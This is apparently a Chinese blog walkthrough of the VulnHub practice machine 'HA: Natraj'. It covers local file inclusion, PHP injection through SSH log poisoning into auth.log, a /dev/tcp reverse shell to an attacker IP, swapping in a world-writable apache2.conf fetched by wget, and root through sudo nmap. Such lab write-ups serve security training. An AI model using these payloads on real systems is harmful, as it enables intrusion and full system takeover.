wait's〔三生石畔〕 善良人在追求中纵然迷惘,却终将意识到有一条正途。—— 歌德
【渗透测试-靶场】No.19:HA: Natraj(vulnhub)渗透测试
发表于: | 分类: 安全测试,资格认证 | 评论:0 | 阅读: 1270

一、前言

主要利用方式:

  本地文件包含漏洞+日志文件构建反弹shell语句 ==》拿到边界权限
  777可执行的apache2配置文件添加可登录用户 ==》可切换登录用户
  查询可sudo的权限,发现nmap指令可提升 ==》获取root权限

二、靶机信息

靶场: vulnhub.com
靶机名称: HA: NATRAJ
难度: 中等
发布时间: 2020 年 6月4日
下载地址:https://www.vulnhub.com/entry/ha-natraj,489/
备注:感觉这个靶场,不简单,利用的方式都是需要大量的搜集信息

三、虚拟机配置
Vmware、网络连接模式:NAT模式、DHCP服务:启用、IP地址:自动分配

四、信息收集
1、探测靶机ip地址
└─$ sudo arp-scan -I eth0 -l

2、探测靶机ip端口及端口具体服务
└─$ sudo nmap -p- 192.168.169.166
└─$ sudo nmap -p22,80 -sV -A 192.168.169.166

4、访问80web服务及常规路径扫描
http://192.168.169.166/

server-status路径扫描也没扫描出啥
└─$ dirsearch -u 192.168.169.166/server-status/

cossole路径只扫描出了一个file.php文件
http://192.168.169.166/console/

五、漏洞利用(突破边界)
5、访问file.php文件,然后尝试文件包含,经过测试,存在文件包含漏洞
http://192.168.169.166/console/file.php?file=/var/www/html/index.html

http://192.168.169.166/console/file.php?file=/etc/passwd

经过整理,发现存在root、natraj、mahakal三个用户

6、利用用户认证日志和LFI获得反弹shell

 通过测试,可以通过本地文件包含查看登录日志(/var/log/auth.log)

尝试使用已知的用户登录
ssh natraj@192.168.169.166

显示用户名,可以在ssh登录的时候将php代码作为用户名插入,这样php代码就会被写入/var/log/auth.log,而利用网站本地文件包含漏洞包含/var/log/auth.log时就又可能会触发写入的php代码执行。

ssh登录靶机,用户名为"<?php system($_GET[test]); ?>",密码随便输

ssh "<?php system($_GET[test]); ?>"@192.168.169.166

浏览器访问 http://192.168.169.166/console/file.php?file=/var/log/auth.log&test=id
可以得到id命令的执行结果,表明插入的php代码有效

可以得到id命令的执行结果,表明插入的php代码有效,成功解析了id的用户组
下面就可以使用php解析反弹shell,将:bash -c 'exec bash -i &>/dev/tcp/192.168.169.129/9999 <&1' 传给test即可得到反弹shell

nc开启监听
└─$ nc -lnvp 9999

浏览器访问:
http://192.168.169.166/console/file.php?file=/var/log/auth.log&test=bash%20-c%20%27exec%20bash%20-i%20%26%3E%2Fdev%2Ftcp%2F192.168.169.129%2F9999%20%3C%261%27
编码前:(http://192.168.169.166/console/file.php?file=/var/log/auth.log&test=bash -i >& /dev/tcp/192.168.169.129/9999 0>&1)

成功反弹shell

查找777权限文件
www-data@ubuntu:/var/www/html/console$ find / -type f -perm 777 -exec ls -l {} ; 2>/dev/null

Apache2.conf拥有777权限。这里可以将上线的权限修改为natraj、mahakal 这两个用户,但不能修改为root,修改为root会导致apache起不来。而且要重启服务器,改成natraj虽然可以得到natraj的反弹shell,但natraj没有可以sudo -l的命令

本地修改apache2.conf的内容,并开启web服务
└─$ vi apache2.conf

└─$ python -m http.server 80

靶机cd到tmp目录,下载apache2.conf文件,授权,并cp到原有的目录中
www-data@ubuntu:/var/www/html/console$ cd /tmp
www-data@ubuntu:/tmp$ ls
www-data@ubuntu:/tmp$ wget 192.168.169.129/apache2.conf
www-data@ubuntu:/tmp$ chmod 777 apache2.conf
www-data@ubuntu:/tmp$ cp /tmp/apache2.conf /etc/apache2/apache2.conf

重启apache2的,但是www-data用户似乎没有这方面的权限,
重启系统,只能在vmware上重启虚拟机了

重启后重复一遍反弹shell的操作,得到mahakal的反弹shell。

执行sudo -l,发现mahakal可以sudo执行nmap命令

六、提权

7、sudo nmap提权
在GTFOBins上查到nmap可以sudo提权

https://gtfobins.github.io/gtfobins/nmap/#sudo

按照指令,提升为root权限
mahakal@ubuntu:/var/www/html/console$ TF=$(mktemp)
mahakal@ubuntu:/var/www/html/console$ echo 'os.execute("/bin/sh")' > $TF
mahakal@ubuntu:/var/www/html/console$ sudo nmap --script=$TF
uid=0(root) gid=0(root) groups=0(root)

升级tty,查看root权限flag
python3 -c "import pty;pty.spawn('/bin/bash')"
root@ubuntu:/var/www/html/console# cd /root
root@ubuntu:~# ls
root@ubuntu:~# cat root.txt

添加新评论

TOP